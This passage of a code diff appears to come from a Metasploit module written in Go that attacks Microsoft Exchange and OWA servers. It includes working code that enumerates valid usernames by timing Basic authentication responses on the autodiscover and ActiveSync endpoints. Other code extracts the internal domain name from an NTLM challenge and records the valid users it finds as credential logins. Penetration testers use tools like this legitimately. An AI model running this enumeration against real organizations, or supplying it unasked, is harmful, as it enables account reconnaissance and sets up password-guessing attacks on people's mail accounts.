} else if msmail.WebRequestCodeResponse(url2) == 401 {
|
||||
urlToHarvest = url2
|
||||
} else if msmail.WebRequestCodeResponse(url3) == 401 {
|
||||
urlToHarvest = url3
|
||||
} else {
|
||||
module.LogInfo("Unable to resolve host provided to determine valid users.")
|
||||
return []string{}
|
||||
}
|
||||
var validusers []string
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
}
|
||||
for i := 0; i < limit; i++ {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
for user := range queue {
|
||||
startTime := time.Now()
|
||||
msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
|
||||
elapsedTime := time.Since(startTime)
|
||||
|
||||
if float64(elapsedTime) < float64(avgResponse)*0.77 {
|
||||
mux.Lock()
|
||||
module.LogInfo("[+] " + user + " - " + elapsedTime.String())
|
||||
validusers = append(validusers, user)
|
||||
mux.Unlock()
|
||||
} else {
|
||||
mux.Lock()
|
||||
module.LogInfo("[-] " + user + " - " + elapsedTime.String())
|
||||
mux.Unlock()
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
for i := 0; i < len(userlist); i++ {
|
||||
queue <- userlist[i]
|
||||
}
|
||||
|
||||
close(queue)
|
||||
wg.Wait()
|
||||
return validusers
|
||||
}
|
||||
|
||||
func basicAuthAvgTime(host string) time.Duration {
|
||||
internaldomain := msmail.HarvestInternalDomain(host, false)
|
||||
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
|
||||
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
|
||||
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
|
||||
var urlToHarvest string
|
||||
if msmail.WebRequestCodeResponse(url1) == 401 {
|
||||
urlToHarvest = url1
|
||||
} else if msmail.WebRequestCodeResponse(url2) == 401 {
|
||||
urlToHarvest = url2
|
||||
} else if msmail.WebRequestCodeResponse(url3) == 401 {
|
||||
urlToHarvest = url3
|
||||
} else {
|
||||
module.LogInfo("Unable to resolve host provided to determine valid users.")
|
||||
return -1
|
||||
}
|
||||
|
||||
//We are determining sample auth response time for invalid users, the password used is irrelevant.
|
||||
pass := "Summer201823904"
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
}
|
||||
module.LogInfo("Collecting sample auth times...")
|
||||
|
||||
var sliceOfTimes []float64
|
||||
var medianTime float64
|
||||
|
||||
usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
|
||||
for i := 0; i < len(usernamelist)-1; i++ {
|
||||
startTime := time.Now()
|
||||
msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
|
||||
elapsedTime := time.Since(startTime)
|
||||
if elapsedTime > time.Second*15 {
|
||||
module.LogInfo("Response taking longer than 15 seconds, setting time:")
|
||||
module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String())
|
||||
return time.Duration(elapsedTime)
|
||||
}
|
||||
if i != 0 {
|
||||
module.LogInfo(elapsedTime.String())
|
||||
sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
|
||||
}
|
||||
}
|
||||
sort.Float64s(sliceOfTimes)
|
||||
if len(sliceOfTimes)%2 == 0 {
|
||||
positionOne := len(sliceOfTimes)/2 - 1
|
||||
positionTwo := len(sliceOfTimes) / 2
|
||||
medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
|
||||
} else if len(sliceOfTimes)%2 != 0 {
|
||||
position := len(sliceOfTimes)/2 - 1
|
||||
medianTime = sliceOfTimes[position]
|
||||
} else {
|
||||
module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
|
||||
}
|
||||
module.LogInfo("Avg Response: " + time.Duration(medianTime).String())
|
||||
return time.Duration(medianTime)
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,151 @@
|
|||
package msmail
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"metasploit/module"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func WebRequestCodeResponse(URI string) int {
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
}
|
||||
timeout := time.Duration(3 * time.Second)
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
Transport: tr,
|
||||
}
|
||||
req, err := http.NewRequest("GET", URI, nil)
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
return resp.StatusCode
|
||||
}
|
||||
|
||||
func HarvestInternalDomain(host string, outputDomain bool) string {
|
||||
if outputDomain {
|
||||
module.LogInfo("Attempting to harvest internal domain:")
|
||||
}
|
||||
url1 := "https://" + host + "/ews"
|
||||
url2 := "https://" + host + "/autodiscover/autodiscover.xml"
|
||||
url3 := "https://" + host + "/rpc"
|
||||
url4 := "https://" + host + "/mapi"
|
||||
url5 := "https://" + host + "/oab"
|
||||
url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
|
||||
var urlToHarvest string
|
||||
if WebRequestCodeResponse(url1) == 401 {
|
||||
urlToHarvest = url1
|
||||
} else if WebRequestCodeResponse(url2) == 401 {
|
||||
urlToHarvest = url2
|
||||
} else if WebRequestCodeResponse(url3) == 401 {
|
||||
urlToHarvest = url3
|
||||
} else if WebRequestCodeResponse(url4) == 401 {
|
||||
urlToHarvest = url4
|
||||
} else if WebRequestCodeResponse(url5) == 401 {
|
||||
urlToHarvest = url5
|
||||
} else if WebRequestCodeResponse(url6) == 401 {
|
||||
urlToHarvest = url6
|
||||
} else {
|
||||
module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n")
|
||||
}
|
||||
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
}
|
||||
timeout := time.Duration(3 * time.Second)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
Transport: tr,
|
||||
}
|
||||
req, err := http.NewRequest("GET", urlToHarvest, nil)
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36")
|
||||
req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
ntlmResponse := resp.Header.Get("WWW-Authenticate")
|
||||
data := strings.Split(ntlmResponse, " ")
|
||||
base64DecodedResp, err := base64.StdEncoding.DecodeString(data[1])
|
||||
if err != nil {
|
||||
module.LogError("Unable to parse NTLM response for internal domain name")
|
||||
}
|
||||
|
||||
var continueAppending bool
|
||||
var internalDomainDecimal []byte
|
||||
for _, decimalValue := range base64DecodedResp {
|
||||
if decimalValue == 0 {
|
||||
continue
|
||||
}
|
||||
if decimalValue == 2 {
|
||||
continueAppending = false
|
||||
}
|
||||
if continueAppending == true {
|
||||
internalDomainDecimal = append(internalDomainDecimal, decimalValue)
|
||||
}
|
||||
if decimalValue == 15 {
|
||||
continueAppending = true
|
||||
continue
|
||||
}
|
||||
}
|
||||
if outputDomain {
|
||||
module.LogInfo("Internal Domain: ")
|
||||
module.LogInfo(string(internalDomainDecimal))
|
||||
}
|
||||
return string(internalDomainDecimal)
|
||||
}
|
||||
|
||||
func ReportValidUsers(ip string, validUsers []string) {
|
||||
port := "443"
|
||||
service := "owa"
|
||||
protocol := "tcp"
|
||||
for _, user := range validUsers {
|
||||
opts := map[string]string{
|
||||
"port": port,
|
||||
"service_name": service,
|
||||
"address": ip,
|
||||
"protocol": protocol,
|
||||
}
|
||||
module.LogInfo("Loging user: " + user)
|
||||
module.ReportCredentialLogin(user, "", opts)
|
||||
}
|
||||
}
|
||||
|
||||
func WebRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int {
|
||||
timeout := time.Duration(45 * time.Second)
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
Transport: tr,
|
||||
}
|
||||
req, err := http.NewRequest("GET", URI, nil)
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
|
||||
req.SetBasicAuth(user, pass)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user))
|
||||
module.LogInfo("One of your requests has taken longer than 45 seconds to respond.")
|
||||
module.LogInfo("Consider lowering amount of threads used for enumeration.")
|
||||
module.LogError(err.Error())
|
||||
}
|
||||
return resp.StatusCode
|
||||
}
|
||||
|
||||
func ImportUserList(tempname string) []string {
|
||||
userFileBytes, err := ioutil.ReadFile(tempname)
|
||||
if err != nil {
|
||||
module.LogError(err.Error())
|
||||
}
|
||||
var userFileString = string(userFileBytes)
|
||||
userArray := strings.Split(userFileString, "\n")
|
||||
//Delete last unnecessary newline inserted into this slice
|
||||
userArray = userArray[:len(userArray)-1]
|
||||
return userArray
|
||||
}
|
Loading…
Reference in New Issue